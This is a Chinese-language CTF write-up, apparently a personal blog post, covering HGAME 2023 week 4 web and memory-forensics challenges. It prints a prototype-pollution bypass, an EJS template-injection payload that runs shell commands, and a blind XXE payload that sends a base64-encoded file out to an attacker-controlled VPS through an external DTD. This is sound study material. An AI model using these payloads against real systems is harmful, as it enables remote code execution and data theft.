Hgame Week4

The Fourth Week of HGAME

Posted by JBNRZ on 2023-02-07
Estimated Reading Time 3 Minutes
Words 671 In Total
Viewed Times

Hgame: week4
Rank:

School All
1 17

Hgame 2023
Rank:

School All
1 14

就做了 Web取证,太菜了 Orz

Web

Shared Diary

  1. 原型链污染,过滤了 __proto__,用 constructor.prototype 绕过
  2. merge 函数
1
2
3
4
5
6
7
8
9
10
11
12
13
function merge(target, source) {
for (let key in source) {
// Prevent prototype pollution
if (key === '__proto__') {
throw new Error("Detected Prototype Pollution")
}
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
  1. 本地测试
    1
1
2
3
if (!req.session.data || !req.session.data.username || req.session.role !== 'admin') {
return res.redirect("/login")
}
  1. 还需满足条件 data data.username
    2
  2. 改包,记得将 Content-Type 改为 application/json
  3. 登录后是 ejsssti
1
<%="pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /flag').toString()")()%>
  1. flag
1
hgame{N0tice_prototype_pollution&&EJS_server_template_injection}

Tell me

  1. xxe 漏洞,关键代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
libxml_disable_entity_loader(false);
// 这里是允许外部实体
if ($_SERVER["REQUEST_METHOD"] == "POST"){
$xmldata = file_get_contents("php://input");
if (isset($xmldata)){
$dom = new DOMDocument();
try {
$dom->loadXML($xmldata, LIBXML_NOENT | LIBXML_DTDLOAD);
}catch(Exception $e){
$result = "loading xml data error";
echo $result;
return;
}
$data = simplexml_import_dom($dom);
  1. 没有回显,网上搜个外带的 payload
1
2
3
4
5
6
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./flag.php">
<!ENTITY % aaa SYSTEM "http://VPS-IP:9999/test.dtd">
%aaa;
]>
<user><name>a</name><email>a</email><content>a</content></user>
  1. VPS 部署,python3 -m http.server 9999 启动
1
2
3
<!ENTITY % dtd "<!ENTITY &#x25; xxe  SYSTEM 'http://VPS-IP:9999/%file;'> ">
%dtd;
%xxe;

3

  1. flag
1
2
3
<?php 
$flag1 = "hgame{Be_Aware_0f_XXeBl1nd1njecti0n}";
?>

Misc

ezWin

  1. strings xxx.vmem | grep hgame
1
hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}
  1. volatility3cmdline | grep flag
    4
  2. volatility3hashdump
    5
1
hgame{84b0d9c9f830238933e7131d60ac6436}
  1. cmd5 爆破 Noname 密码:asdqwe123
    6
1
hgame{e30b6984-615c-4d26-b0c4-f455fa7202e2}

New_Type_Steganography

  1. 思路差不多,不会写脚本,来个大佬教教 /(ㄒoㄒ)/~~
    7

对这一个月的总结

1
2
3
4
5
1. 这几个周过后似乎没什么提升(单指 `Web` 和 `Misc`,只能告诉我解 `SQL` 还是有些死板
2. 对于别的方向,只能说开始接触了,有些收获,`Crypto` 还是学到了很多新东西,但是数学不咋滴,还是接受的很慢,`Reverse` 也接触到一些新的技术,收获应该只限于之后遇到能认出来是啥,`pwn` 还是一窍不通,可能将来还是不懂,之后再说吧,可能哪天能稍微悟一点儿
3. 区块链还是先放放,差的东西有点儿多,语言还不会,就不搞这些了
4. `Iot` 怎么说呢,这几周就当着 `Misc` 来做的,一些硬核的知识不懂
5. 总体上最大的收获可能还就是那 `1000` 个金币~~掉钱眼里了 Orz~~,但可惜不是现金,还得去换,难免有损耗

如果您喜欢此博客或发现它对您有用,则欢迎对此发表评论。 也欢迎您共享此博客,以便更多人可以参与。 如果博客中使用的图像侵犯了您的版权,请与作者联系以将其删除。 谢谢 !